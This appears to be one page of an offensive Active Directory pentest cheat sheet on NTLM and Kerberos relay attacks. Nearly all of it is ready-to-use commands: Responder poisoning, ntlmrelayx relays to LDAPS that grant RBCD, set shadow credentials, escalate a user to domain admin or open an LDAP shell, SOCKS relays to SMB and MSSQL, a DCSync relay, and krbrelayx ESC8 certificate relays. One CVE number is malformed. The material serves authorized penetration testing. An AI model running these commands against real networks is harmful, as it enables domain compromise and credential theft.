← boxes

Man In The Middle (Listen and Relay) box 4 / 17

Man In The Middle (Listen and Relay)

12 cmds

Hash NTLMv1 or NTLMv2UsernameCredentials (ldap/http)

  • responder responder -l <interface> #use --lm to force downgrade
  • smbclient.py smbclient.py

  • MS08-068 self relaycve
    • msf> msf> exploit/windows/smb_smb_relay # windows 2000 / windows server 2008
  • SMB -> LDAP(S)
  • HTTP(S) -> LDAP(S)
  • To LDAP(S)
    • Relay to LDAP if LDAP signing and LDAPS channel binding not enforced (default)
      • ntlmrelayx.py ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --add-computer <computer_name> <computer_password> --delegate-access RBCD
      • ntlmrelayx.py ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --shadow-credentials --shadow-target '<dc_name$>'Shadow Credentials
      • ntlmrelayx.py ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --escalate-user <user>Domain admin
      • ntlmrelayx.py ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --interactive # connect to ldap_shell with nc 127.0.0.1 10111LDAP SHELL
  • To SMB
    • Relay to SMB (if SMB is not signed)
      • Find SMB not signed targets (default if not a Domain controler)
        • nxc nxc smb <ip_range> --gen-relay-list smb_unsigned_ips.txt
      • ntlmrelayx.py ntlmrelayx.py -tf smb_unsigned_ips.txt -smb2support [--ipv6] -socksSMB Socks
  • To HTTP
    • Relay to CA web enrollementESC8
    • Relay to WSUSWSUS
  • To MsSQL
    • ntlmrelayx.py ntlmrelayx.py -t mssql://<ip> [-smb2support] -socksMSSQL Socks
  • SMB -> NETLOGON
    • Zero-Logon (safe method) (CVE-202-1472)cve
      • Relay one dc to another
        • ntlmrelayx.py ntlmrelayx.py -t dcsync://<dc_to_ip> -smb2support -auth-smb <user>:<password>DCSYNC

  • To HTTP
    • krbrelayx.py krbrelayx.py -t 'http://<pki>/certsrv/certfnsh.asp' --adcs --template DomainController -v '<target_netbios>$' -ip <attacker_ip>ESC8
  • SMB -> SMB
    • same as NTLM relay, use krbrelayx.py
  • SMB -> LDAP(S)
    • same as NTLM relay, use krbrelayx.py